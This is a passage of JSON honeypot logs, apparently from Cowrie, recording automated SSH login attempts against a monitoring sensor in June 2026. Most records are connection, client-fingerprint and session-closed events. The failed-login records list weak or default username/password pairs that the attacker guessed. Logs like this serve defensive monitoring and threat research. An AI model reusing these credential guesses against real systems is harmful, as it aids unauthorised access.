f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:23.571878Z","src_ip":"92.207.4.157","session":"08c2aff90e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magnus","password":"1234","message":"login attempt [magnus/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:23.988832Z","src_ip":"92.207.4.157","session":"08c2aff90e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46460,"dst_ip":"10.17.0.5","dst_port":22,"session":"7262f565ec2b","protocol":"ssh","message":"New connection: 192.109.200.78:46460 (10.17.0.5:22) [session: 7262f565ec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:24.233861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:24.237617Z","src_ip":"192.109.200.78","session":"7262f565ec2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:24.478683Z","src_ip":"192.109.200.78","session":"7262f565ec2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234567890","message":"login attempt [sam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:24.838546Z","src_ip":"192.109.200.78","session":"7262f565ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:25.090566Z","src_ip":"92.207.4.157","session":"08c2aff90e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:25.923339Z","src_ip":"192.109.200.78","session":"7262f565ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.92309212684631,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:28.006362Z","src_ip":"103.249.87.183","session":"6306a09aa12c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46472,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f82c8e67dc","protocol":"ssh","message":"New connection: 192.109.200.78:46472 (10.17.0.5:22) [session: c0f82c8e67dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:28.026927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:28.031795Z","src_ip":"192.109.200.78","session":"c0f82c8e67dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:28.112743Z","src_ip":"192.109.200.78","session":"c0f82c8e67dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:28.357463Z","src_ip":"192.109.200.78","session":"c0f82c8e67dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:29.441279Z","src_ip":"192.109.200.78","session":"c0f82c8e67dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46480,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d7f04ed551a","protocol":"ssh","message":"New connection: 192.109.200.78:46480 (10.17.0.5:22) [session: 1d7f04ed551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:31.484647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:31.598945Z","src_ip":"192.109.200.78","session":"1d7f04ed551a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:31.602771Z","src_ip":"192.109.200.78","session":"1d7f04ed551a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:31.957502Z","src_ip":"192.109.200.78","session":"1d7f04ed551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:33.043231Z","src_ip":"192.109.200.78","session":"1d7f04ed551a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42742,"dst_ip":"10.17.0.5","dst_port":22,"session":"a89e78615733","protocol":"ssh","message":"New connection: 192.109.200.78:42742 (10.17.0.5:22) [session: a89e78615733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:35.135056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:35.277268Z","src_ip":"192.109.200.78","session":"a89e78615733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:35.280209Z","src_ip":"192.109.200.78","session":"a89e78615733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:35.614124Z","src_ip":"192.109.200.78","session":"a89e78615733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:36.702059Z","src_ip":"192.109.200.78","session":"a89e78615733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42752,"dst_ip":"10.17.0.5","dst_port":22,"session":"da12bb50cab3","protocol":"ssh","message":"New connection: 192.109.200.78:42752 (10.17.0.5:22) [session: da12bb50cab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:38.685896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:38.690172Z","src_ip":"192.109.200.78","session":"da12bb50cab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:38.771206Z","src_ip":"192.109.200.78","session":"da12bb50cab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:39.015898Z","src_ip":"192.109.200.78","session":"da12bb50cab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:40.114186Z","src_ip":"192.109.200.78","session":"da12bb50cab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37714,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf7b702cd89d","protocol":"ssh","message":"New connection: 192.109.200.78:37714 (10.17.0.5:22) [session: cf7b702cd89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:42.111491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:42.115870Z","src_ip":"192.109.200.78","session":"cf7b702cd89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:42.196795Z","src_ip":"192.109.200.78","session":"cf7b702cd89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:42.449313Z","src_ip":"192.109.200.78","session":"cf7b702cd89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:43.533151Z","src_ip":"192.109.200.78","session":"cf7b702cd89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37726,"dst_ip":"10.17.0.5","dst_port":22,"session":"76289ad86d6e","protocol":"ssh","message":"New connection: 192.109.200.78:37726 (10.17.0.5:22) [session: 76289ad86d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:45.388769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:45.449248Z","src_ip":"192.109.200.78","session":"76289ad86d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:45.655474Z","src_ip":"192.109.200.78","session":"76289ad86d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:45.938574Z","src_ip":"192.109.200.78","session":"76289ad86d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:47.022512Z","src_ip":"192.109.200.78","session":"76289ad86d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37738,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcef7b128a7","protocol":"ssh","message":"New connection: 192.109.200.78:37738 (10.17.0.5:22) [session: 4dcef7b128a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:49.043555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:49.047574Z","src_ip":"192.109.200.78","session":"4dcef7b128a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:49.132479Z","src_ip":"192.109.200.78","session":"4dcef7b128a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:49.375769Z","src_ip":"192.109.200.78","session":"4dcef7b128a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:50.459460Z","src_ip":"192.109.200.78","session":"4dcef7b128a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42818,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1b940e23222","protocol":"ssh","message":"New connection: 192.109.200.78:42818 (10.17.0.5:22) [session: e1b940e23222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:52.412615Z"}
